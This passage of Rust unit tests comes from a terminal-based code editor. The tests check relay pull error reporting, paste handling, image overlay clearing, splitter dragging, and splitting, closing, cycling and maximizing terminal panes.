fn drain_remote_pulls_surfaces_relay_error_message() {
    let _guard = relay_test_lock().lock().unwrap();
    let workspace = tempfile::tempdir().unwrap();
    let home = tempfile::tempdir().unwrap();
    let mut app = App::new(workspace.path().to_path_buf()).unwrap();
    with_relay_home(home.path(), || {
        let inbox = app.relay_inbox_path().expect("relay inbox derivable");
        let request_dir = inbox.join("req-2");
        std::fs::create_dir_all(&request_dir).unwrap();
        std::fs::write(request_dir.join(".err"), b"scp exited with 1").unwrap();
        app.pending_remote_pulls.push(PendingRemotePull {
            request_id: String::from("req-2"),
            src_display: String::from("/Users/v/missing.txt"),
            basename: String::from("missing.txt"),
            dest_dir: workspace.path().to_path_buf(),
            started_at: std::time::Instant::now(),
            kind: RemotePullKind::File,
        });
        let changed = app.drain_remote_pulls();
        assert!(changed);
    });
    assert!(app.status.contains("scp exited with 1"));
}

#[test]
fn explorer_drop_on_terminal_focus_does_not_hijack_text_paste() {
    // Regression guard: when sidebar is Explorer and focus is on the
    // embedded terminal, pasting still goes to the terminal so the
    // user can type a path into a shell command.
    let workspace = tempfile::tempdir().unwrap();
    let outside = tempfile::tempdir().unwrap();
    let src = outside.path().join("typed.txt");
    std::fs::write(&src, "x").unwrap();
    let mut app = App::new(workspace.path().to_path_buf()).unwrap();
    app.set_sidebar_view(SidebarView::Explorer);
    app.show_terminal = true;
    app.focus_pane(Pane::Terminal);
    app.handle_paste(&format!("{}\n", src.display()));
    assert!(
        src.exists(),
        "explorer-with-terminal-focus drop must NOT move the source",
    );
    assert!(!workspace.path().join("typed.txt").exists());
}

#[test]
fn closing_image_tab_requests_overlay_clear_on_next_render() {
    // Repro for: opening a PNG/PDF then closing the tab leaves the
    // OSC-1337 pixels bleeding through the welcome screen. The render
    // path that swaps to welcome must mark the editor image overlay
    // for clearing so the main loop wipes the screen.
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.overlays.editor[0].set_test_state(
        Some(String::from("dummy-osc")),
        Some(EditorImageLayout {
            cell_x: 0,
            cell_y: 0,
            cell_w: 10,
            cell_h: 10,
            path: tmp.path().join("doomed.png"),
            page: 1,
            generation: 0,
        }),
        true,
    );
    // Editor is blank-initial right after construction, so calling
    // disable_editor_image directly mimics what render() does on
    // the welcome branch.
    app.disable_editor_image(0);
    assert!(app.overlays.editor[0].image_is_none());
    assert!(app.overlays.editor[0].layout_is_none());
    assert!(
        app.consume_editor_image_clear(),
        "first call must report a pending clear"
    );
    assert!(
        !app.consume_editor_image_clear(),
        "second call must be a no-op"
    );
}

#[test]
fn dragging_sidebar_splitter_resizes_sidebar() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    // Simulate a render so splitter coords are populated.
    app.sidebar_splitter_x = Some(36); // activity(4) + sidebar(32) = 36
    app.last_content_width = 60;
    app.last_content_height = 20;
    app.sidebar_width = 32;
    // Mouse-down on the splitter column.
    app.handle_mouse(crossterm::event::MouseEvent {
        kind: crossterm::event::MouseEventKind::Down(crossterm::event::MouseButton::Left),
        column: 36,
        row: 5,
        modifiers: KeyModifiers::NONE,
    });
    assert_eq!(app.splitter_drag, Some(SplitterDrag::Sidebar));
    // Drag right by 10 cells: column 46 -> sidebar should grow to 42.
    app.handle_mouse(crossterm::event::MouseEvent {
        kind: crossterm::event::MouseEventKind::Drag(crossterm::event::MouseButton::Left),
        column: 46,
        row: 5,
        modifiers: KeyModifiers::NONE,
    });
    assert_eq!(app.sidebar_width, 42);
    // Mouse-up clears the drag state.
    app.handle_mouse(crossterm::event::MouseEvent {
        kind: crossterm::event::MouseEventKind::Up(crossterm::event::MouseButton::Left),
        column: 46,
        row: 5,
        modifiers: KeyModifiers::NONE,
    });
    assert!(app.splitter_drag.is_none());
}

#[test]
fn sidebar_drag_grabs_one_column_left_of_seam() {
    // The seam is a single column wide. To make it easier to grab (and
    // to mirror the visible pair of borders the user sees), a click on
    // the cell immediately to its left also starts the drag.
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.sidebar_splitter_x = Some(36);
    app.last_content_width = 60;
    app.last_content_height = 20;
    app.sidebar_width = 32;
    app.handle_mouse(crossterm::event::MouseEvent {
        kind: crossterm::event::MouseEventKind::Down(crossterm::event::MouseButton::Left),
        column: 35,
        row: 5,
        modifiers: KeyModifiers::NONE,
    });
    assert_eq!(app.splitter_drag, Some(SplitterDrag::Sidebar));
}

#[test]
fn a_stale_commit_graph_scrollbar_rect_cannot_deaden_the_splitter() {
    // The COMMITS graph refreshes `last_scrollbar` only while it renders,
    // i.e. only under the Source Control view. After switching to Explorer
    // the stale rect used to keep punching a hole in the splitter grab
    // zone: dragging the sidebar seam inside that band silently did
    // nothing. The exemption must apply only while the graph is visible.
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.sidebar_splitter_x = Some(36);
    app.last_content_width = 60;
    app.last_content_height = 20;
    app.sidebar_width = 32;
    app.commit_graph.last_scrollbar = Rect {
        x: 35,
        y: 4,
        width: 1,
        height: 10,
    };
    app.sidebar_view = SidebarView::Explorer;
    app.handle_mouse(crossterm::event::MouseEvent {
        kind: crossterm::event::MouseEventKind::Down(crossterm::event::MouseButton::Left),
        column: 35,
        row: 5,
        modifiers: KeyModifiers::NONE,
    });
    assert_eq!(
        app.splitter_drag,
        Some(SplitterDrag::Sidebar),
        "a stale graph scrollbar rect must not deaden the seam outside Source Control"
    );
    app.handle_mouse(crossterm::event::MouseEvent {
        kind: crossterm::event::MouseEventKind::Up(crossterm::event::MouseButton::Left),
        column: 35,
        row: 5,
        modifiers: KeyModifiers::NONE,
    });
    // While the graph IS visible, its scrollbar still wins the cell.
    app.sidebar_view = SidebarView::SourceControl;
    app.handle_mouse(crossterm::event::MouseEvent {
        kind: crossterm::event::MouseEventKind::Down(crossterm::event::MouseButton::Left),
        column: 35,
        row: 5,
        modifiers: KeyModifiers::NONE,
    });
    assert!(
        app.splitter_drag.is_none(),
        "the live graph scrollbar keeps its exemption from the grab zone"
    );
}

#[test]
fn welcome_paints_a_full_bordered_box_around_the_editor_area() {
    // Without a visible envelope, users on the welcome page can't
    // perceive that the explorer is resizable and can't see where the
    // editor pane ends. Regression guard: the welcome render must
    // paint a full Borders::ALL frame around `area` so all four edges
    // are perceptible.
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    let backend = ratatui::backend::TestBackend::new(120, 40);
    let mut term = ratatui::Terminal::new(backend).unwrap();
    let area = ratatui::layout::Rect::new(40, 0, 80, 40);
    term.draw(|f| app.render_welcome(f, area)).unwrap();
    let buf = term.backend().buffer();
    let left = area.x;
    let right = area.x + area.width - 1;
    let top = area.y;
    let bot = area.y + area.height - 1;
    // Vertical edges: left and right columns must be vertical bars on
    // most rows (corners use ─/└/┌/┘).
    let mut left_bars = 0;
    let mut right_bars = 0;
    for y in (top + 1)..bot {
        if buf[(left, y)].symbol() == "│" {
            left_bars += 1;
        }
        if buf[(right, y)].symbol() == "│" {
            right_bars += 1;
        }
    }
    let inner_h = (bot - top - 1) as usize;
    assert!(
        left_bars >= inner_h / 2,
        "left edge underpainted: {left_bars}"
    );
    assert!(
        right_bars >= inner_h / 2,
        "right edge underpainted: {right_bars}"
    );
    // Horizontal edges: top and bottom rows must be horizontal bars on
    // most columns.
    let mut top_bars = 0;
    let mut bot_bars = 0;
    for x in (left + 1)..right {
        if buf[(x, top)].symbol() == "─" {
            top_bars += 1;
        }
        if buf[(x, bot)].symbol() == "─" {
            bot_bars += 1;
        }
    }
    let inner_w = (right - left - 1) as usize;
    assert!(top_bars >= inner_w / 2, "top edge underpainted: {top_bars}");
    assert!(
        bot_bars >= inner_w / 2,
        "bottom edge underpainted: {bot_bars}"
    );
    // Corners.
    assert_eq!(buf[(left, top)].symbol(), "┌");
    assert_eq!(buf[(right, top)].symbol(), "┐");
    assert_eq!(buf[(left, bot)].symbol(), "└");
    assert_eq!(buf[(right, bot)].symbol(), "┘");
}

#[test]
fn sidebar_drag_clamps_to_minimum() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.sidebar_splitter_x = Some(36);
    app.last_content_width = 60;
    app.last_content_height = 20;
    app.sidebar_width = 32;
    app.handle_mouse(crossterm::event::MouseEvent {
        kind: crossterm::event::MouseEventKind::Down(crossterm::event::MouseButton::Left),
        column: 36,
        row: 5,
        modifiers: KeyModifiers::NONE,
    });
    // Drag far to the left — sidebar should clamp to its min, not collapse.
    app.handle_mouse(crossterm::event::MouseEvent {
        kind: crossterm::event::MouseEventKind::Drag(crossterm::event::MouseButton::Left),
        column: 5,
        row: 5,
        modifiers: KeyModifiers::NONE,
    });
    assert_eq!(app.sidebar_width, SIDEBAR_WIDTH_MIN);
}

#[test]
fn dragging_terminal_splitter_resizes_terminal() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.terminal_splitter_y = Some(15);
    app.last_content_height = 20;
    app.last_content_width = 60;
    app.terminal_height = Some(5); // bottom = 15 + 5 = 20
    app.handle_mouse(crossterm::event::MouseEvent {
        kind: crossterm::event::MouseEventKind::Down(crossterm::event::MouseButton::Left),
        column: 50,
        row: 15,
        modifiers: KeyModifiers::NONE,
    });
    assert_eq!(app.splitter_drag, Some(SplitterDrag::Terminal));
    // Drag the splitter up to row 10: terminal height = 20 - 10 = 10.
    app.handle_mouse(crossterm::event::MouseEvent {
        kind: crossterm::event::MouseEventKind::Drag(crossterm::event::MouseButton::Left),
        column: 50,
        row: 10,
        modifiers: KeyModifiers::NONE,
    });
    assert_eq!(app.terminal_height, Some(10));
}

#[test]
fn terminal_drag_grabs_one_row_above_seam() {
    // The terminal splitter sits on the terminal's top border row, but
    // the editor / welcome bottom border row (one row above) is also a
    // grabbable handle — symmetric with the sidebar's two-column zone.
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.terminal_splitter_y = Some(15);
    app.last_content_height = 20;
    app.last_content_width = 60;
    app.terminal_height = Some(5);
    app.handle_mouse(crossterm::event::MouseEvent {
        kind: crossterm::event::MouseEventKind::Down(crossterm::event::MouseButton::Left),
        column: 50,
        row: 14,
        modifiers: KeyModifiers::NONE,
    });
    assert_eq!(app.splitter_drag, Some(SplitterDrag::Terminal));
}

#[test]
fn fresh_app_has_one_active_terminal() {
    let tmp = tempfile::tempdir().unwrap();
    let app = App::new(tmp.path().to_path_buf()).unwrap();
    assert_eq!(app.terminals.len(), 1);
    assert_eq!(app.active_terminal, 0);
}

#[test]
fn split_terminal_appends_and_activates_new_one() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.split_terminal().unwrap();
    assert_eq!(app.terminals.len(), 2);
    assert_eq!(app.active_terminal, 1);
    app.split_terminal().unwrap();
    assert_eq!(app.terminals.len(), 3);
    assert_eq!(app.active_terminal, 2);
}

#[test]
fn split_terminal_inserts_to_the_right_of_the_active_terminal_not_at_the_end() {
    // Open three terminals so the strip is [T0, T1, T2] with T2
    // active. Focus T0 (the left-most), split. The new terminal must
    // land at index 1 — immediately to the right of where the user
    // was looking — and T1/T2 must shift right to indices 2 and 3,
    // matching the user's mental model that a new pane appears next
    // to the one they're working in, not at the far right edge.
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.split_terminal().unwrap();
    app.split_terminal().unwrap();
    let pid_t0 = app.terminals[0].pid();
    let pid_t1 = app.terminals[1].pid();
    let pid_t2 = app.terminals[2].pid();
    app.active_terminal = 0;
    app.split_terminal().unwrap();
    assert_eq!(app.terminals.len(), 4);
    assert_eq!(
        app.active_terminal, 1,
        "a split from the left-most terminal must focus the new one at index 1, not at the far right"
    );
    assert_eq!(
        app.terminals[0].pid(),
        pid_t0,
        "the originally-active terminal must keep its slot"
    );
    assert_eq!(
        app.terminals[2].pid(),
        pid_t1,
        "the old neighbour to the right must shift one slot right, not stay put"
    );
    assert_eq!(
        app.terminals[3].pid(),
        pid_t2,
        "the right-most terminal must shift to the new right edge"
    );
}

#[test]
fn close_active_terminal_drops_the_active_one() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.split_terminal().unwrap();
    app.split_terminal().unwrap();
    assert_eq!(app.active_terminal, 2);
    assert!(app.close_active_terminal());
    assert_eq!(app.terminals.len(), 2);
    assert_eq!(app.active_terminal, 1);
    assert!(app.close_active_terminal());
    assert_eq!(app.terminals.len(), 1);
    assert_eq!(app.active_terminal, 0);
}

#[test]
fn close_active_terminal_refuses_to_drop_the_last_one() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    assert!(!app.close_active_terminal());
    assert_eq!(app.terminals.len(), 1);
    assert_eq!(app.active_terminal, 0);
}

#[test]
fn cycle_terminal_wraps_around() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.split_terminal().unwrap();
    app.split_terminal().unwrap();
    app.active_terminal = 0;
    app.cycle_terminal();
    assert_eq!(app.active_terminal, 1);
    app.cycle_terminal();
    assert_eq!(app.active_terminal, 2);
    app.cycle_terminal();
    assert_eq!(app.active_terminal, 0);
}

#[test]
fn cycle_terminal_back_wraps_around_to_the_left() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.split_terminal().unwrap();
    app.split_terminal().unwrap();
    app.active_terminal = 0;
    app.cycle_terminal_back();
    assert_eq!(
        app.active_terminal, 2,
        "cycle-back from the left edge must wrap to the right-most slot"
    );
    app.cycle_terminal_back();
    assert_eq!(app.active_terminal, 1);
    app.cycle_terminal_back();
    assert_eq!(app.active_terminal, 0);
}

#[test]
fn cmd_left_bracket_cycles_to_the_previous_terminal() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.split_terminal().unwrap();
    app.split_terminal().unwrap();
    app.focus = Pane::Terminal;
    app.active_terminal = 2;
    let _ = app.handle_key(key(KeyCode::Char('['), KeyModifiers::SUPER));
    assert_eq!(
        app.active_terminal, 1,
        "Cmd+[ must move focus one terminal to the left"
    );
    let _ = app.handle_key(key(KeyCode::Char('{'), KeyModifiers::SUPER));
    assert_eq!(
        app.active_terminal, 0,
        "Cmd+{{ (shift-applied glyph) must also cycle back"
    );
}

#[test]
fn cmd_right_bracket_cycles_to_the_next_terminal() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.split_terminal().unwrap();
    app.split_terminal().unwrap();
    app.focus = Pane::Terminal;
    app.active_terminal = 0;
    let _ = app.handle_key(key(KeyCode::Char(']'), KeyModifiers::SUPER));
    assert_eq!(
        app.active_terminal, 1,
        "Cmd+] must move focus one terminal to the right"
    );
    let _ = app.handle_key(key(KeyCode::Char('}'), KeyModifiers::SUPER));
    assert_eq!(
        app.active_terminal, 2,
        "Cmd+}} (shift-applied glyph) must also cycle forward"
    );
}

#[test]
fn ctrl_shift_t_globally_splits_terminal() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    assert_eq!(app.terminals.len(), 1);
    app.handle_key(key(
        KeyCode::Char('T'),
        KeyModifiers::CONTROL | KeyModifiers::SHIFT,
    ))
    .unwrap();
    assert_eq!(app.terminals.len(), 2);
    assert_eq!(app.active_terminal, 1);
}

#[test]
fn ctrl_shift_w_in_terminal_pane_closes_active() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.split_terminal().unwrap();
    app.focus_pane(Pane::Terminal);
    app.handle_key(key(
        KeyCode::Char('W'),
        KeyModifiers::CONTROL | KeyModifiers::SHIFT,
    ))
    .unwrap();
    assert_eq!(app.terminals.len(), 1);
}

#[test]
fn clicking_terminal_add_button_splits() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.terminal_add_buttons = vec![Rect {
        x: 50,
        y: 30,
        width: 3,
        height: 1,
    }];
    app.handle_mouse(crossterm::event::MouseEvent {
        kind: crossterm::event::MouseEventKind::Down(crossterm::event::MouseButton::Left),
        column: 51,
        row: 30,
        modifiers: KeyModifiers::NONE,
    });
    assert_eq!(app.terminals.len(), 2);
    assert_eq!(app.active_terminal, 1);
}

#[test]
fn clicking_terminal_close_button_drops_active_terminal() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.split_terminal().unwrap();
    assert_eq!(app.terminals.len(), 2);
    assert_eq!(app.active_terminal, 1);
    app.terminal_close_buttons = vec![
        Rect {
            x: 10,
            y: 30,
            width: 3,
            height: 1,
        },
        Rect {
            x: 50,
            y: 30,
            width: 3,
            height: 1,
        },
    ];
    app.handle_mouse(crossterm::event::MouseEvent {
        kind: crossterm::event::MouseEventKind::Down(crossterm::event::MouseButton::Left),
        column: 51,
        row: 30,
        modifiers: KeyModifiers::NONE,
    });
    assert_eq!(app.terminals.len(), 1);
}

#[test]
fn clicking_close_button_on_non_active_terminal_drops_that_specific_terminal() {
    // The user has three terminals open with the rightmost (idx 2) active;
    // clicking the [-] on the leftmost terminal must close idx 0, not the
    // active one. Regression for "I would like to kill any of them, not
    // only the right one."
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.split_terminal().unwrap();
    app.split_terminal().unwrap();
    assert_eq!(app.terminals.len(), 3);
    assert_eq!(app.active_terminal, 2);
    let pid_left = app.terminals[0].pid();
    let pid_right = app.terminals[2].pid();
    app.terminal_close_buttons = vec![
        Rect {
            x: 10,
            y: 30,
            width: 3,
            height: 1,
        },
        Rect {
            x: 30,
            y: 30,
            width: 3,
            height: 1,
        },
        Rect {
            x: 50,
            y: 30,
            width: 3,
            height: 1,
        },
    ];
    app.handle_mouse(crossterm::event::MouseEvent {
        kind: crossterm::event::MouseEventKind::Down(crossterm::event::MouseButton::Left),
        column: 11,
        row: 30,
        modifiers: KeyModifiers::NONE,
    });
    assert_eq!(app.terminals.len(), 2);
    assert!(
        app.terminals.iter().all(|t| t.pid() != pid_left),
        "the leftmost terminal (the one whose [-] was clicked) must be gone"
    );
    assert_eq!(
        app.terminals[1].pid(),
        pid_right,
        "the formerly-rightmost terminal must remain"
    );
    assert_eq!(
        app.active_terminal, 1,
        "active terminal index must shift down so the same terminal stays active"
    );
}

#[test]
fn each_terminal_paints_its_own_add_close_buttons_when_multiple_open() {
    // Per-pane chrome: with N terminals visible there should be N [+] hit
    // rects (one per pane) and, when N > 1, N [-] hit rects so the user
    // can kill any one of them.
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.split_terminal().unwrap();
    app.split_terminal().unwrap();
    assert_eq!(app.terminals.len(), 3);
    let backend = ratatui::backend::TestBackend::new(180, 40);
    let mut term = ratatui::Terminal::new(backend).unwrap();
    term.draw(|f| app.render(f)).unwrap();
    assert_eq!(
        app.terminal_add_buttons.len(),
        3,
        "each terminal pane must record its own [+] hit rect"
    );
    assert_eq!(
        app.terminal_close_buttons.len(),
        3,
        "each terminal pane must record its own [-] hit rect when more than one is open"
    );
    // Distinct columns: the buttons must sit on different panes.
    let xs: std::collections::HashSet<u16> = app.terminal_add_buttons.iter().map(|r| r.x).collect();
    assert_eq!(
        xs.len(),
        3,
        "add-button rects must be on three distinct columns"
    );
}

#[test]
fn clicking_terminal_maximize_button_maximizes_that_pane() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.split_terminal().unwrap();
    app.split_terminal().unwrap();
    assert_eq!(app.active_terminal, 2);
    app.terminal_max_buttons = vec![
        Rect {
            x: 10,
            y: 30,
            width: 3,
            height: 1,
        },
        Rect {
            x: 30,
            y: 30,
            width: 3,
            height: 1,
        },
        Rect {
            x: 50,
            y: 30,
            width: 3,
            height: 1,
        },
    ];
    app.handle_mouse(crossterm::event::MouseEvent {
        kind: crossterm::event::MouseEventKind::Down(crossterm::event::MouseButton::Left),
        column: 11,
        row: 30,
        modifiers: KeyModifiers::NONE,
    });
    assert!(
        app.terminal_pane_maximized,
        "the ⛶ click enters maximize mode"
    );
    assert_eq!(
        app.active_terminal, 0,
        "the pane whose ⛶ was clicked becomes the maximized one"
    );
}

/// #510: a pane the frame does not paint must drop `last_inner` as well as
/// `last_area`.
///
/// `last_area` guards clicks and is cleared at six terminal-pane sites.
/// `last_inner` was assigned in exactly one place - inside `render` - and
/// cleared nowhere, so a hidden pane kept the rect it held under the PREVIOUS
/// layout. That rect anchors the terminal image overlay, which is emitted
/// after `terminal.draw()` with absolute cursor positioning and is bounded by
/// nothing else: `update_terminal_image_overlay` checks the payload against
/// the same stale rect, so every check passes and the write lands wherever
/// the old origin pointed - over a sibling pane, the sidebar, or the status
/// bar. Being a raw write rather than a buffer index it cannot panic, and
/// ratatui's diff has no record of the cells it touched, so nothing repairs
/// them on the next frame.
///
/// Maximize is the reachable route: it hands every non-active pane
/// `Rect::default()`, so the render loop skips them while they keep the split
/// column they occupied a frame earlier.
#[test]
fn a_hidden_pane_drops_last_inner_not_just_last_area() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.split_terminal().unwrap();
    app.split_terminal().unwrap();
    let backend = ratatui::backend::TestBackend::new(180, 40);
    let mut term = ratatui::Terminal::new(backend).unwrap();

    // Paint the split first, so every pane holds a real inner rect.
    term.draw(|f| app.render(f)).unwrap();
    let active = app.active_terminal;
    let hidden = (0..app.terminals.len()).find(|i| *i != active).unwrap();
    assert!(
        app.terminals[hidden].last_inner.width > 0,
        "precondition: the pane painted a real inner rect while split"
    );

    // Maximize, which stops painting it.
    app.terminal_pane_maximized = true;
    term.draw(|f| app.render(f)).unwrap();

    assert_eq!(
        app.terminals[hidden].last_inner,
        Rect::default(),
        "a pane the frame skipped must not keep an inner rect the overlay \
         would anchor a raw write to"
    );
}

/// The same invariant through the PUBLIC gesture rather than the flag, so a
/// regression that stops `toggle_terminal_pane_maximize` reaching this state
/// is caught too. Setting `terminal_pane_maximized` directly pins the render
/// loop; this pins the command.
#[test]
fn the_maximize_gesture_also_drops_a_hidden_panes_last_inner() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.split_terminal().unwrap();
    let backend = ratatui::backend::TestBackend::new(180, 40);
    let mut term = ratatui::Terminal::new(backend).unwrap();
    term.draw(|f| app.render(f)).unwrap();
    let active = app.active_terminal;
    let hidden = (0..app.terminals.len()).find(|i| *i != active).unwrap();
    assert!(app.terminals[hidden].last_inner.width > 0, "precondition");

    app.toggle_terminal_pane_maximize();
    term.draw(|f| app.render(f)).unwrap();

    assert_eq!(
        app.terminals[hidden].last_inner,
        Rect::default(),
        "the gesture, not just the flag, must drop the hidden pane's rect"
    );
}

/// The collapse arm of the same condition. `t.collapsed && !maximized` is the
/// other route into that clear, and the maximize tests never reach it.
#[test]
fn a_collapsed_pane_drops_last_inner_too() {
    let (_tmp, mut app, mut term) = app_with_terminal_panes(3);
    term.draw(|f| app.render(f)).unwrap();
    assert!(app.terminals[1].last_inner.width > 0, "precondition");

    app.toggle_terminal_collapse(1);
    term.draw(|f| app.render(f)).unwrap();

    assert_eq!(
        app.terminals[1].last_inner,
        Rect::default(),
        "a folded pane keeps no rect for the overlay to anchor to"
    );
}

#[test]
fn maximized_terminal_fills_width_and_lists_others_in_rail() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.split_terminal().unwrap();
    app.split_terminal().unwrap();
    app.terminal_pane_maximized = true;
    let backend = ratatui::backend::TestBackend::new(180, 40);
    let mut term = ratatui::Terminal::new(backend).unwrap();
    term.draw(|f| app.render(f)).unwrap();
    let active = app.active_terminal;
    assert!(
        app.terminals[active].last_area.width >= 100,
        "the maximized pane must span (almost) the whole panel width, got {}",
        app.terminals[active].last_area.width
    );
    for (i, t) in app.terminals.iter().enumerate() {
        if i != active {
            assert_eq!(
                t.last_area,
                Rect::default(),
                "hidden pane {i} must drop its hit rect so clicks can't phantom-match"
            );
        }
    }
    assert_eq!(
        app.terminal_rail_rects.len(),
        3,
        "the right-side rail lists every terminal"
    );
    let xs: std::collections::HashSet<u16> = app.terminal_rail_rects.iter().map(|r| r.x).collect();
    assert_eq!(xs.len(), 1, "rail rows stack vertically in one column");
    let ys: std::collections::HashSet<u16> = app.terminal_rail_rects.iter().map(|r| r.y).collect();
    assert_eq!(ys.len(), 3, "each rail row sits on its own line");
    // Index alignment: in maximize mode only the visible pane carries live
    // button rects; the hidden panes hold empty placeholders so a button's
    // position in the vec still names its terminal index.
    assert_eq!(app.terminal_max_buttons.len(), 3);
    let live: Vec<usize> = app
        .terminal_max_buttons
        .iter()
        .enumerate()
        .filter(|(_, r)| r.width > 0)
        .map(|(i, _)| i)
        .collect();
    assert_eq!(
        live,
        vec![active],
        "only the maximized pane paints a restore button"
    );
}

#[test]
fn a_clamped_rail_never_paints_past_its_own_column() {
    // The rail width is clamped at the call site to
    // `content.width.saturating_sub(20)`, but the label was always rendered as
    // a fixed 7 cells (space + icon + space + 4 chars). `Buffer::set_string`
    // clips at the FRAME edge, not at the rail rect, so on a narrow panel the
    // tail of the label lands on whatever is drawn to the right of the panel.
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.split_terminal().unwrap();
    app.terminal_pane_maximized = true;
    // A label character no other widget can paint, so "this cell holds a label
    // char" is proof of a bleed and not a coincidence with the panel's text.
    app.terminals[0].set_manual_name(Some(String::from("§§§§")));
    app.terminals[1].set_manual_name(Some(String::from("§§§§")));

    // Wide enough that the buffer edge cannot mask the bleed, narrow enough
    // that the clamp bites: the assertion is the rail's own right edge.
    // The bleed is only observable when something is DRAWN to the right of the
    // panel, so the secondary side bar must be up: the panel clips at the frame
    // edge otherwise and the overrun is silently truncated.
    let backend = ratatui::backend::TestBackend::new(80, 24);
    let mut term = ratatui::Terminal::new(backend).unwrap();
    app.secondary_side_bar_visible = true;
    app.sidebar_width = 21;
    term.draw(|f| app.render(f)).unwrap();

    assert!(
        app.terminal_rail_rects
            .iter()
            .any(|r| r.width < TERMINAL_RAIL_W),
        "this layout must actually clamp the rail, or the test proves nothing"
    );
    let cell = |x: u16, y: u16| {
        term.backend()
            .buffer()
            .cell(ratatui::layout::Position::new(x, y))
            .unwrap()
            .symbol()
            .to_string()
    };
    for rail in &app.terminal_rail_rects {
        let past = rail.x + rail.width;
        // Inside the rail the label must actually be painted, or a future
        // layout change could shrink the rail until nothing bleeds and the
        // assertion below passes while the bug is fully restored.
        let inside: String = (rail.x..past).map(|x| cell(x, rail.y)).collect();
        assert!(
            inside.contains('§'),
            "the rail must paint some of its label, got {inside:?}"
        );
        // Every cell from the rail's right edge to the frame edge: not a fixed
        // peephole, so the check survives any change to the pane constants.
        let bleed: String = (past..80).map(|x| cell(x, rail.y)).collect();
        assert!(
            !bleed.contains('§'),
            "the rail label bled past its own column into {bleed:?}"
        );
    }
}

#[test]
fn rail_is_a_fixed_narrow_column_showing_four_label_chars() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.split_terminal().unwrap();
    app.terminal_pane_maximized = true;
    let backend = ratatui::backend::TestBackend::new(180, 40);
    let mut term = ratatui::Terminal::new(backend).unwrap();

    // The rail is a fixed, very narrow column: icon + exactly 4 label
    // characters, regardless of how short or long the names are.
    app.terminals[0].set_manual_name(Some(String::from("zsh")));
    app.terminals[1].set_manual_name(Some(String::from("a-very-long-terminal-pane-name")));
    term.draw(|f| app.render(f)).unwrap();
    for r in &app.terminal_rail_rects {
        assert_eq!(
            r.width, TERMINAL_RAIL_W,
            "the rail must always be exactly {TERMINAL_RAIL_W} cells wide"
        );
    }
    // The long name is cut to its first 4 characters in the rail row.
    let rail = app.terminal_rail_rects[1];
    let cells: String = (rail.x..rail.x + rail.width)
        .map(|x| {
            term.backend()
                .buffer()
                .cell(ratatui::layout::Position::new(x, rail.y))
                .unwrap()
                .symbol()
                .chars()
                .next()
                .unwrap()
        })
        .collect();
    assert!(
        cells.contains("a-ve") && !cells.contains("a-ver"),
        "rail row must show exactly the first 4 label chars, got {cells:?}"
    );
}

#[test]
fn clicking_rail_row_switches_terminal_and_stays_maximized() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.split_terminal().unwrap();
    app.split_terminal().unwrap();
    app.terminal_pane_maximized = true;
    let backend = ratatui::backend::TestBackend::new(180, 40);
    let mut term = ratatui::Terminal::new(backend).unwrap();
    term.draw(|f| app.render(f)).unwrap();
    let r = app.terminal_rail_rects[0];
    app.handle_mouse(crossterm::event::MouseEvent {
        kind: crossterm::event::MouseEventKind::Down(crossterm::event::MouseButton::Left),
        column: r.x + 1,
        row: r.y,
        modifiers: KeyModifiers::NONE,
    });
    assert_eq!(app.active_terminal, 0, "the rail row picks its terminal");
    assert!(
        app.terminal_pane_maximized,
        "shuffling via the rail stays in maximize mode"
    );
    term.draw(|f| app.render(f)).unwrap();
    assert!(
        app.terminals[0].last_area.width >= 100,
        "the newly picked terminal now owns the maximized pane"
    );
}

#[test]
